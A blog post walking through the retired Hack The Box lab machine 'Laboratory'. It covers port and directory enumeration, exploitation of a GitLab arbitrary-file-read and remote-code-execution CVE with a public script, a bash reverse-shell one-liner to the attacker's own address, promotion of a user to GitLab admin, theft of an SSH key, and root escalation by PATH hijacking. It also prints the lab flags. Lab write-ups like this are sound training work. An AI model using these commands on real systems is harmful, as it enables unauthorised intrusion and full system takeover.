Laboratory

Name:	Laboratory
Release Date:	14 Nov 2020
Retire Date:	17 Apr 2021
OS:	Linux
Base Points:	Easy - Retired [0]
Rated Difficulty:
Radar Graph:
	wtflink 00 days, 01 hours, 48 mins, 28 seconds
	jkr 00 days, 02 hours, 02 mins, 10 seconds
Creator:	0xc45
Pentest Workstation PDF:	Laboratory.pdf

Again, we start with sudo /home/kali/AutoRecon/src/autorecon/autorecon.py 10.10.10.216

Sidenote: Newer versions of Kali that do not use root by default require sudo whenever checking UDP ports.

We have SSH (TCP 22), HTTP (TCP 80), HTTPS (TCP 443) that are the major ports that we need to look at right now. To use Gobuster, we'll need to add 10.10.10.216 git.laboratory.htb laboratory.htb to /etc/hosts and Gobuster should find several pages and directories that could be interesting. The -k flag will ignore any pesky TLS errors.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -k -u https://laboratory.htb

  
┌──(kali㉿kali)-[~/Desktop/HTB/Laboratory]
└─$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -k -u https://laboratory.htb                    1 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://laboratory.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/17 16:29:30 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 280]
/.hta                 (Status: 403) [Size: 280]
/.htpasswd            (Status: 403) [Size: 280]
/assets               (Status: 301) [Size: 319] [--> https://laboratory.htb/assets/]
/images               (Status: 301) [Size: 319] [--> https://laboratory.htb/images/]
/index.html           (Status: 200) [Size: 7254]                                    
/server-status        (Status: 403) [Size: 280]                                     
                                                                                    
===============================================================
2022/01/17 16:30:51 Finished
===============================================================

So much for finding interesting files and directories.... Let's navigate to laboratory.htb and git.laboratory.htb and see what we're dealing with.

git.laboratory.htb was a Yahtzee for us. All we need is to Register with a laboratory.htb email address (and hope it doesn't ask for email validation).

Scrolling to the very bottom of the GitLab login, we can see an explore and about buttons that will let us look around without logging in, but everything we need to do requires a login. Register for a login.

Full Name: Neocount Phoenix
Username: Neocount
Email: neocount@laboratory.htb
Email confirmation: neocount@laboratory.htb
Password: <randomly generated>

Searching for Gitlab Community 12.8.1 Vulnerabilities, we stumble across a CVE-2020-10977 and a premade script for exploiting it (git clone https://github.com/dotPY-hax/gitlab_RCE). We run this exploit using:

python3 gitlab_rce.py https://git.laboratory.htb <YOUR TUN0 IP>

Pick Option 2, but be warned, the Ruby shell is INSANELY unstable so have another listener ready and use a bash statement to swap over.

/bin/bash -c 'bash -i >& /dev/tcp/<YOUR TUN0 IP>/1337 0>&1'

and you'll finally receive a stable shell.

Now that we have a stable shell, we can grab the user flag and see what we need to do to escalate privileges. Hostname shows us that we are on git.laboratory.htb, so we're definitely in a docker container that runs the GitLab instance. Crap. That complicates matters, but not enough to discourage us. If GitLab is running in a docker instance, we should be able to turn our registered user into an Admin and see if Dexter is hiding anything inside his projects.

git@git:/$ gitlab-rails console

user = User.find_by(id: 5)
user = User.find_by(id: 5)
#<User id:5 @Neocount>
user.admin = TRUE
user.save!user.admin = TRUE
(irb):23: warning: constant ::TRUE is deprecated
true

user.save!

We can find our ID by looking at the Profile tab.

Notice when you refresh the GitLab page, you'll now see a SecureDocker Project from our friend Dexter! Open it and navigate through and you'll find his private key.

Now we're getting somewhere! Copy the key into an id_rsa file, chmod 400 id_rsa and ssh as dexter using:

ssh -i id_rsa dexter@10.10.10.216

First we grab the user flag, and next we look for privesc possibilities.

dexter@laboratory:~$ cat user.txt
992dca86fc8f873da66b9cbe119d52c2

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; | grep dexter

docker-security is the only binary owned by dexter. One of the things that it does is run a chmod. We can easily hijack that by creating our own chmod, adding it to the PATH and running that docker-security binary.

echo "/bin/bash" > chmod

chmod 777 chmod

export PATH=/home/dexter:$PATH

/usr/local/bin/docker-security

root@laboratory:~# cat /root/root.txt
750e11d55d244695477b3e72272ddd36

This one was a PAIN because of all the different methods to exploit the CVE-2020-10977, but we finally found one that works. I tried probably a dozen different ways to do the cookie curl'ing exploit and only this one worked. Glad this one is over and done. Now on to the next!

©2020 Phoenix Computing Solutions | Powered by Coffee, Sarcasm, and Insanity
Everything included in the site is the intellectual property of Chris Ruggieri (Neocount Phoenix) and Phoenix Computing Solutions.
This information should not be construed as legal advice. The owner can not be held liable for anything another entity does with this information.
This information is solely the opinions and experiences of myself (Chris Ruggieri) and should not be construed as endorsement of any product, service, or of illegal activity

(GET WRITTEN PERMISSION PEOPLE!!)
Any links I provide as a convenience and for informational purposes only; they do not constitute an endorsement or an approval by the owner of this site for any of the products, services or opinions of the corporation or organization or individual.
Contact the external sites for answers to questions regarding its content.
This Includes any links posted by Chris Ruggieri in any other websites, Social Media networks, Online Groups and Online sharing Websites.

Chris Ruggieri (Neocount Phoenix)

Security Blog, Rants, Raves, Write-ups, and Code

Laboratory